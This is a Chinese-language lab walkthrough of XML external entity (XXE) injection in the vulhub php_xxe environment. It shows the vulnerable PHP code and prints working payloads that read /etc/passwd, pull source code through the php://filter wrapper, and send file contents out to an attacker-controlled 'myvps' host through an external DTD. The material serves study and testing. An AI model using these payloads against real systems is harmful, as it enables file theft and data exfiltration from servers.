php_xxe
1.漏洞复现
1)环境安装
使用vulhub里面的php_xxe
2) 漏洞复现
漏洞介绍
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。
漏洞利用
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
这个环境里面***dom.php、SimpleXMLElement.php 、simplexml_load_string.php***三个页面都存在这个漏洞。
3)漏洞分析
simplexml_load_string函数解析body,查看一下源码simplexml_load_string.php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
//先将xml发送给服务器解析,服务器解析完成后,就会按照我们的xml执行。当执行到**SYSTEM "file:///etc/passwd"**时,
会引用服务器里面的/etc/passwd文件,当服务器解析完成后,会将/etc/passwd文件内容存入&xxe中,然后将数据返回给恶意访问者。
使用php伪协议
除了使用前面的payload。我们发现源码有php://input,因此可以使用php伪协议读取源码。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>
当没有回显的时候。
就要想办法让服务器自己把数据往外带。
我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了。
payload
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myvps/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">
%remote;
%send;
]>
<message>1234</message>
xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myvps:2333/?%file;'>">
%start;
与此同时我们还需要在服务器上面打开2333端口
后面还有dos攻击‘探测内网等等。。。
参考链接